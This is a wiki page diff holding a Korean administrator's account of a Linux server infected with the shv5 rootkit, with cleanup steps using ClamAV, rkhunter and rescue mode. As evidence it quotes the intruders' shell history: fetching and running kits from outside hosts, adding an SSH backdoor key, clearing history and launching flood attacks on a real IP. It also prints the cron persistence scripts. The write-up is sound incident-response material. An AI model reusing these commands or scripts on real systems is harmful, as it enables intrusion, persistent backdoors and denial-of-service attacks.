사용자 도구

사이트 도구


secu002

차이

문서의 선택한 두 판 사이의 차이를 보여줍니다.

차이 보기로 링크

secu002 [2015/01/23 18:22]
minetech
secu002 [2015/02/09 11:02] (현재)
minetech
줄 1: 줄 1:
-리눅스 서버에 해킹에의한 바이러스 감염으로 개고생 수기...+2차례에 걸친 ​리눅스 서버에 해킹에의한 바이러스 감염으로 개고생 수기... 
 + 
 +====== [증상 감지] ======
  
-[증상 감지] 
 갑자기 서버가 늦어져서 top 을 통해 본 결과 이상한 프로세스가 cpu 사용을 99% 하고 있었다. 갑자기 서버가 늦어져서 top 을 통해 본 결과 이상한 프로세스가 cpu 사용을 99% 하고 있었다.
 +해당 프로세스 id를 이용하여 확인해 보면 다음과 같은 것들을 보인다.
  
-[개고생 일지+<​file>​ 
-우선 99%를 차지하는 프로세스를 kill 했으나 또 다시 다른 형태로 살아남 (갑자기 심각해짐...) +[root@localhost ~]# lsof -p 32656 
-find 명령으로 해당 프로세스이름을 찾아보니 ​/boot 경로에 위치해 있음 +COMMAND ​    PID USER   ​FD ​  ​TYPE ​ DEVICE SIZE/​OFF ​    NODE NAME 
-해당 프로그램을 삭제했으나 다른 프로그램으로 복제되어 다시 생성됨 (머리 아파지기 시작함) +qmscprzst 32656 root  cwd    DIR   ​253,​0 ​    4096 33947649 ​/bin 
-cron 에 뭔가 등록되어 있을것 같아서 crontab을 확인해 보니 내가 지정하지 않은 프로세스가 마지막에 돌고 있는것 확인 +qmscprzst 32656 root  rtd    DIR   ​253,​0 ​    ​4096 ​       2 / 
-해당 항목을 crontab 에서 삭제했는데 잠시후에 다시 생겨남 (짜증이 올라옴) +qmscprzst 32656 root  txt    REG   ​253,​0 ​  ​617640 ​ 9538775 /​usr/​bin/​qmscprzstp 
-바이러스 감지툴인 clamAV 를 yum 으로 설치하여 점검해보니 몇가지 파일들이(netstatps 등등변경되어 있는것 확인됨 +qmscprzst 32656 root    0u   ​CHR ​    ​1,​3 ​     0t0     2946 /dev/null 
-해당 파일을 rm 으로 삭제해보니 삭제가 안됨 ​ +qmscprzst 32656 root    1u   ​CHR ​    1,3      0t0     2946 /dev/null 
-다시 rkhunter 를 설치하여 바이러스 다시 확인해 보니 clamAV에서 찾지 못한 다양한 형태의 경고가 등장함+qmscprzst 32656 root    2u   ​CHR ​    ​1,​3 ​     0t0     2946 /dev/null 
 +qmscprzst 32656 root    3u  IPv4 3249369 ​     0t0      TCP localhost.localdomain:​39645->​162.212.180.202:​ka0wuc (ESTABLISHED
 +qmscprzst 32656 root    4u   ​raw ​             0t0  3250035 00000000:​00FF->​00000000:​0000 st=07 
 +qmscprzst 32656 root    5u   ​raw ​             0t0  3250036 00000000:​00FF->​00000000:​0000 st=07 
 +qmscprzst 32656 root    6u   ​raw ​             0t0  3250037 00000000:​00FF->​00000000:​0000 st=07 
 +qmscprzst 32656 root    7u   ​raw ​             0t0  3250038 00000000:​00FF->​00000000:​0000 st=07 
 +</​file>​
  
-감염된 파일을 살펴본 결과 등록되느 않은 사용자와 그룹으로 만들어져 있고 해당 파일들의 ​성에 stiky bit 가 되어 있어 +  * 중간에 보면 우리측 서버가 "​162.212.180.202"​ 에서 접속해 있는것이 확인다. (뭔가 열~씨미 도고 있는듯 ㅠ.ㅠ) 
-삭제할 수 없+  * 저 IP는 프로세스를 kill 하게 되면 다른 프로세스로 살아나면서 다른 IP로 변경하여 접하게 된다. 
 +  * 나의 경우는 오라클이 ​되어 있었기때문에 위에서는 안보이지만 오라클 프로세스도 관련이 있는 것으로 나타난다.  
 +  * 저기 보이는 IP는 추적을 해보면 추적이 안되는 경우도 나온다.
  
-우선 다른 pc에 VMWare ​에 해당 버전의 리눅스를 설치함 (파일을 비교해 보기 ​위해서...)+한 프로세스의 파일 위치는 /boot 또는 /usr/bin 경로에 위치하게 된다.(특별히 정지지 않는 듯)
  
-리눅스를 cd로 부팅하여 rescue 모드로 진입 (원래 파일들은 ​/mnt/sysimages 경로에 마운트 된다.)+<​file>​ 
 +$ ls -alt /usr/bin/  
 +-rwxr-xr-x ​ 1 root root      625622 ​ 1i?” 30 11:27 nbrumptxge 
 +-rwxr-xr-x ​ 1 root root      617640 ​ 1i?” 30 11:27 ywkhxomzss 
 +lrwxrwxrwx ​ 1 root root          13  1i?” 30 10:39 cut -> ../​../​bin/​cut 
 +lrwxrwxrwx ​ 1 root root          13  1i?” 30 10:39 env -> ../​../​bin/​env 
 +lrwxrwxrwx ​ 1 root root           ​6 ​ 1i?” 30 10:39 pstree.x11 -> pstree 
 +-rwxr-xr-x ​ 1 root root      617651 ​ 1i?” 29 21:03 ttqncgxhbc 
 +-rwxr-xr-x ​ 1 root root      617640 ​ 1i?” 29 20:36 qmscprzstp 
 +</​file>​
  
-해당 파일들을 개별로 속성를 변경해주다가 몇가지 파일을 비교해 보던중 찾던중 아래의 파일을 ​찾게됨...+내부 의심이 ​는 사용자의 .bash_history ​파일을 ​열어보면 다음과 같은 내용들이 포함되어있다...ㅠ.ㅠ 
 +<​file>​ 
 +
 +ps x 
 +php -v 
 +cat /​etc/​hosts 
 +ls -a 
 +cat /​proc/​cpuinfo 
 +
 +cat /​etc/​issue 
 +
 +wget kukubau.webs.com/​shv5.tar.gz ; tar zxvf shv5.tar.gz ; cd shv5 ; ./setup H6f5kkl0 5022 
 +ssh localhost 
 +
 +</​file>​
  
-다음 쉘을 돌리던지 개별로 작업하든하면 해결됨.+오라클 사용자측에도 보면 ​다음과 같다. 
 + 
 +이걸 보면 한마디로 시스템이 걸레가 된것 같은 느낌이다. 
 + 
 +<​file>​ 
 +
 +uname -a 
 +ps aux 
 +locate m.set 
 +wget x1.epac.to/​.x/​bil 
 +tar xzvf bil 
 +cd .z 
 +./run 
 +./autorun 
 +cd .. 
 +lss -a 
 +ls -a 
 +rm -rf bil 
 +last 
 +passwd 
 +passwd 
 +mkdir .ssh 
 +cd .ssh 
 +echo "​ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIB8NTwrTVNx8KZwzNj067GiIfz8Vc2DgqvmEatkwH1hjiM/​jdrq2VFEAJI75AIdarHo1jVL7ZcpsmiIJQ3Pi+P0JdAXARK8PJEZyRQJLJusucbJeU9FI4drnPceKKthaSjVl/​9bWa6ckmrYaFIfnNZtAH9CAWn6TCGb5lDfKdgC5Q== awsnext"​ >> authorized_keys 
 +chmod 700 ~/​.ssh;​chmod 600 ~/​.ssh/​authorized_keys 
 +chmod +x * 
 +cd 
 +rm -rf .bash* 
 +wget x.toh.info/​.x/​flood/​flood.tgz 
 +tar xzvf flood.tgz 
 +cd flod/ 
 +ls 
 +chmod +x * 
 +./udp 141.30.37.135 
 +./ddos 141.30.37.135 22 
 +./icm2 141.30.37.135 
 +./icm2 141.30.37.135 22 
 +ls 
 +./​juno6 ​ 141.30.37.135 
 +./​juno6 ​ 141.30.37.135 22 
 +./85 141.30.37.135 
 +./85 141.30.37.135 22 
 +./85 141.30.37.135 2222 
 +./tcpsyn 141.30.37.135 
 +./tcpsyn 141.30.37.135 80 
 +sqlplus 
 +pwd 
 +ls 
 +cd product/ 
 +cd 11.2.0/ 
 +cd bin 
 +ls 
 +./sqlplus system/​xxx 
 +id 
 +ifconfig 
 +exit 
 +</​file>​ 
 + 
 + 
 +Bad file list 
 +<​file>​ 
 +[root@ ??]# ls -al 
 +합계 1616 
 +drwxr-xr-x ​ 3 oracle dba    4096  2월  6 11:24 . 
 +drwxr-x--- 29 root   ​root ​  ​4096 ​ 2월  5 16:55 .. 
 +-rwxr-xr-x ​ 1 oracle dba     ​270 ​ 1월 30 13:23 1.user 
 +-rw-r--r-- ​ 1 oracle dba  955701 ​ 9월 25  2013 Cimmer.seen 
 +-rw-r--r-- ​ 1 oracle dba       ​0 ​ 1월 30 13:23 Enid.seen 
 +-rwxr-xr-x ​ 1 oracle dba      34  1월 29 21:08 LinkEvents 
 +-rwxr-xr-x ​ 1 oracle dba     323 10월 13  2001 autorun 
 +-rwxr-xr-x ​ 1 oracle dba  492135 ​ 3월  3  2005 bash 
 +-rw-r--r-- ​ 1 oracle dba   ​91385 ​ 2월 20  2013 br2.seen 
 +-rwxr-xr-x ​ 1 oracle dba      67  3월 31  2005 cron 
 +-rw-r--r-- ​ 1 oracle dba      47 12월 14  2012 cron.d 
 +-rw-r--r-- ​ 1 oracle dba      11 12월 14  2012 m.dir 
 +-rwxr-xr-x ​ 1 oracle dba   ​22882 ​ 5월 15  2003 m.help 
 +-rwxr-xr-x ​ 1 oracle dba    1043  1월 30 13:23 m.lev 
 +-rw------- ​ 1 oracle dba       ​5 ​ 1월 29 21:08 m.pid 
 +-rw-r--r-- ​ 1 oracle dba     ​967 ​ 1월 30 13:23 m.ses 
 +-rwxr-xr-x ​ 1 oracle dba    1155 11월 24  2012 m.set 
 +drwxr-xr-x ​ 2 oracle dba    4096  2월  6 11:23 r 
 +-rwxr-xr-x ​ 1 oracle dba      44 10월 13  2001 run 
 +-rw-r--r-- ​ 1 oracle dba      45  7월 16  2010 shel 
 +-rwxr--r-- ​ 1 oracle dba     160 12월 14  2012 y2kupdate 
 + 
 +</​file>​ 
 + 
 +File Name : m.set  
 + 
 +<​file>​ 
 +#!/bin/sh 
 +if test -r /​oracle/​.z/​m.pid;​ then 
 +pid=$(cat /​oracle/​.z/​m.pid) 
 +if $(kill -CHLD $pid >/​dev/​null 2>&​1) 
 +then 
 +exit 0 
 +fi 
 +fi 
 +cd /​oracle/​.z 
 +./run &>/​dev/​null 
 +</​file>​ 
 + 
 +File Name : run 
 +<​file>​ 
 +#!/bin/sh 
 +export PATH=:​PATH 
 +bash 
 +history -c 
 +</​file>​ 
 + 
 +File Name : autorun 
 +<​file>​ 
 +#!/bin/sh 
 +pwd > m.dir 
 +dir=$(cat m.dir) 
 +echo "* * * * * $dir/​y2kupdate >/​dev/​null 2>&​1"​ > cron.d 
 +crontab cron.d 
 +crontab -l | grep y2kupdate 
 +echo "#​!/​bin/​sh 
 +if test -r $dir/m.pid; then 
 +pid=\$(cat $dir/​m.pid) 
 +if \$(kill -CHLD \$pid >/​dev/​null 2>&​1) 
 +then 
 +exit 0 
 +fi 
 +fi 
 +cd $dir 
 +./run &>/​dev/​null"​ > y2kupdate 
 +chmod u+x y2kupdate 
 + 
 +</​file>​ 
 + 
 +File Name : y2kupdate 
 +<​file>​ 
 +#!/bin/sh 
 +if test -r /​oracle/​.z/​m.pid;​ then 
 +pid=$(cat /​oracle/​.z/​m.pid) 
 +if $(kill -CHLD $pid >/​dev/​null 2>&​1) 
 +then 
 +exit 0 
 +fi 
 +fi 
 +cd /​oracle/​.z 
 +./run &>/​dev/​null 
 + 
 +</​file>​ 
 + 
 +File Name : cron.d 
 +<​file>​ 
 +* * * * * /​oracle/​.z/​y2kupdate >/​dev/​null 2>&​1 
 +</​file>​ 
 + 
 +이 히스토리를 참조해서 해당 경로를 가서 확인해 보면 다음과 같은 파일들이 실제 존재한다. 
 +<​file>​ 
 +-bash-3.2$ cd flod 
 +-bash-3.2$ ls -al 
 +?⑷퀎 760 
 +drwxr-xr-x ​ 2 oracle dba   4096 12??​18 ​ 2012 . 
 +drwxr-xr-x 13 oracle dba   ​4096 ​ 2?? 2 13:42 .. 
 +-rwxr-xr-x ​ 1 oracle dba   9315 12??​15 ​ 2012 85 
 +-rwxr-xr-x ​ 1 oracle dba   8666 12??​15 ​ 2012 88udp 
 +-rwxr-xr-x ​ 1 oracle dba  50123 12??​15 ​ 2012 cip.cip 
 +-rwxr-xr-x ​ 1 oracle dba   9416 12??​15 ​ 2012 cloud 
 +-rwxr-xr-x ​ 1 oracle dba   9237 12??​15 ​ 2012 ddos 
 +-rwxr-xr-x ​ 1 oracle dba  15442 12??​15 ​ 2012 dos_techck3 
 +-rwxr-xr-x ​ 1 oracle dba   9213 12??​15 ​ 2012 fuck 
 +-rwxr-xr-x ​ 1 oracle dba  11264 12??​15 ​ 2012 icm2 
 +-rwxr-xr-x ​ 1 oracle dba   8703 12??​15 ​ 2012 juno 
 +-rwxr-xr-x ​ 1 oracle dba   9216 12??​15 ​ 2012 juno130 
 +-rwxr-xr-x ​ 1 oracle dba   9216 12??​15 ​ 2012 juno150 
 +-rwxr-xr-x ​ 1 oracle dba   8621 12??​15 ​ 2012 juno6 
 +-rwxr-xr-x ​ 1 oracle dba   9215 12??​15 ​ 2012 juno95 
 +-rwxr-xr-x ​ 1 oracle dba 483340 12??​15 ​ 2012 list.txt 
 +-rwxr-xr-x ​ 1 oracle dba   8947 12??​15 ​ 2012 new 
 +-rwxr-xr-x ​ 1 oracle dba   9213 12??​15 ​ 2012 syn 
 +-rwxr-xr-x ​ 1 oracle dba   8886 12??​15 ​ 2012 tcpsyn 
 +-rwxr-xr-x ​ 1 oracle dba   8666 12??​15 ​ 2012 udp 
 +-rwxr-xr-x ​ 1 oracle dba   7830 12??​15 ​ 2012 udpiLLuSioN2 
 +-rwxr-xr-x ​ 1 oracle dba   8800 12??​15 ​ 2012 volverin2 
 +</​file>​ 
 + 
 +기타 /usr/lib/ 경로아래에 다양한 .so .h 파일들이 만들어져 있는것을 확인할 수 있다. 
 + 
 +====== [개고생(삽질) 일지] ====== 
 + 
 +  * 우선 99%를 차지하는 프로세스를 kill 했으나 또 다시 다른 형태로 살아남 (갑자기 심각해짐...) 
 +  * find 명령으로 해당 프로세스이름을 찾아보니 /boot 경로에 위치해 있음 (이건 처음에는 이랬는데 나중에는 /usr/bin 에 위치해 있는 것으로 봐서는 일정치 않음) 
 +  * 해당 프로그램을 삭제했으나 ​ 다른 프로그램으로 복제되어 다시 생성됨 (머리 아파지기 시작함) 
 +  * 해당 프로그램을 삭제해도 다시 살아나는 것을 보면 cron 에 뭔가 등록되어 있을것 같아서 "vi /​etc/​crontab"​ 을 확인해 보니 내가 지정하지 않은 프로세스가 마지막에 돌고 있는것이 확인된다. 그래서 해당 항목을 crontab 에서 삭제했는데 잠시후에 다시 생겨남 (짜증이 올라옴) 
 +  * 이리저리 다양한 방법으로 프로세스를 삭제해 봤으나 절대 죽지 않음 더구나 죽일 때 마다 복제되어서 /etc/init.d 와 rc.d 의 각 레벨별로 자동실행 스크립트가 생성됨 
 +  * 더 이상 이런식의 처리는 한계가 있음을 깨달음. 
 + 
 +==== [조치 순서] ==== 
 + 
 +  - 바이러스 감지를 위한 프로그램 설치 
 +  - 바이러스 종류 확인 및 감지된 파일 대략 확인 
 +  - Rescue 모드로 부팅하여 바이러스 파일 삭제  
 + 
 +첫 번째로 바이러스 감지툴인 clamAV 를 yum 으로 설치하여 점검해보니 몇가지 파일들이(netstat,​ ps 등등) 변경되어 있는것 확인됨 
 +이건 감지만 할 뿐 조치는 없는 감지하는것도 상당히 효율이 떨지진다. 
 + 
 +두 번째로 rkhunter 를 설치하여 바이러스 다시 확인해 보니 clamAV에서 찾지 못한 다양한 형태의 경고가 등장함 
 + 
 +세 번째로 chkrootkit 을 설치하여 확인해 봄. 
 + 
 +[결론] 나의 경우 rootkit 바이러스가 감염이 되었고, 바이러스를 감지하는 것은 rkhunter 가 가장 뛰어남. 
 + 
 + 
 +==== [조치 내역] ==== 
 + 
 +  * ClamAV 설치 
 + 
 +<​file>​ 
 +4.1 ClamAV 설치 
 +[root@egovWas2 ~]# yum install clamav clamd 
 + 
 +4.2 ClamAV 바이러서 데이터베이스 업데이트 
 +[root@egovWas2 ~]# freshclam 
 + 
 +4.3 검사 
 + 
 +- home 디렉토리와 그 하위 디렉토리를 검사 
 +[root@egovWas2 ~]# clamscan -r /home 
 + 
 +- clamscan 결과를 로그 파일로 남기고 싶으면 
 +[root@egovWas2 ~]# clamscan -r /home -l clamscan.log 
 + 
 +[root@egovWas2 ~]# 감염된 파일을 특정 디렉토리로 이동하려면 
 +[root@egovWas2 ~]# clamscan -r /home --move=DIRECTORY 
 +</​file>​ 
 + 
 + 
 +  * RootKit Hunter 설치 및 매일 실행하는 cron 등록  
 +<​file>​ 
 + 
 +5.1 rkhunter 설치 
 +[root@egovWas2 ~]# yum list | grep rkhunter 
 + 
 +[root@egovWas2 ~]# yum install rkhunter 
 + 
 +5.2 Update rkhunter 
 +To check the currently installed version enter the following 
 +[root@egovWas2 ~]# /​usr/​local/​bin/​rkhunter --versioncheck 
 + 
 +Run the updater by issuing the following command: 
 +[root@egovWas2 ~]# /​usr/​local/​bin/​rkhunter --update 
 + 
 +With our database files refreshed, we need to tell rkhunter to check the current values and store them as known-good values: 
 +[root@egovWas2 ~]# /​usr/​local/​bin/​rkhunter --propupd 
 + 
 +5.3 Manual Scan 
 +Step 1] 시작하기 전에 rkhunter 가 사용할 DB를 생성 
 + 
 +[root@egovWas2 ~]# rkhunter --propupd 
 + 
 +Step 2] 실행명령어 
 +[root@egovWas2 ~]# rkhunter --check  
 +또는  
 +[root@egovWas2 ~]# rkhunter -c --rwo  // warning메세지,​비정상적인 결과만 출력 
 + 
 +5.4 Automate Rootkit Hunter 
 + 
 +[root@egovWas2 ~]# touch /​etc/​cron.daily/​rkhunter.sh 
 +[root@egovWas2 ~]# chmod 755 /​etc/​cron.daily/​rkhunter.sh 
 +[root@egovWas2 ~]# vi /​etc/​cron.daily/​rkhunter.sh 
 + 
 +#!/bin/sh 
 +
 +/​usr/​local/​bin/​rkhunter --versioncheck 
 +/​usr/​local/​bin/​rkhunter --update 
 +/​usr/​local/​bin/​rkhunter --cronjob --report-warnings-only 
 +) | /bin/mail -s '​rkhunter Daily Scan Report (PutYourServerNameHere)'​ your@email.here 
 + 
 +</​file>​ 
 + 
 +rootkit 감염된 파일을 살펴보면 등록되지 않은 사용자와 그룹으로 만들어져 있고 해당 파일들의 속성이 변경되어 삭제할 수 없게 되어있다. 따라서 그 속성을 먼저 변경해 줘야 한다. 
 + 
 +이건 lsattr 명령과 chattr 명령을 이용하면 쉽게 해결이 된다. (아래 ​파일을 참조하면 됨) 
 + 
 +처음엔 아래 쉘파일의 내용처럼 감염된 파일의 속성을 변경해서 삭제하고 yum 으로 파일을 다시 설치하는 것으로 간단하게 끝났는데 몇일후에 다시 감염되었을 때는 해당파일 속성등의 변경이 없이 바이러스 프로세스가 죽지 않았다. 
 + 
 +==== [반드시 이렇게 하세요] ==== 
 + 
 +  * 리눅스를 cd로 부팅하여 rescue 모드로 진입한다. 이렇게 하면 원래 파일들은 /​mnt/​sysimages 경로에 마운트 된다. 
 +  * /​mnt/​sysimages 경로에서 감염된 파일들을 모두 삭제하고 설치가 필요한 것들은 다시 설치해 준다. 
 + 
 + 
 +해당 파일들을 개별로 속성를 변경해주다가 몇가지 파일을 비교해 찾던중 아래의 쉘파일을 찾게됨... 
 + 
 +다음 쉘을 그냥 ​돌리던지 개별로 작업하든하면 해결됨. ​(나는 개별로 실행했음)
  
 이상 개고생 끝. 이상 개고생 끝.
  
 추신: 몇가지 .h 파일등도 변경된 내용이 있고 init.d 및 rc?.d 경로아래에 수없이 많은 사항들이 있느니 찾아서 삭제해줘야 함 추신: 몇가지 .h 파일등도 변경된 내용이 있고 init.d 및 rc?.d 경로아래에 수없이 많은 사항들이 있느니 찾아서 삭제해줘야 함
 +
 +출처: http://​www.evilcoder.net/​remove-linux-shv5-rootkit/​
  
    
줄 157: 줄 481:
  
 </​file>​ </​file>​
 +
 +
secu002.1422004968.txt.gz · 마지막으로 수정됨: 2015/01/23 18:22 저자 minetech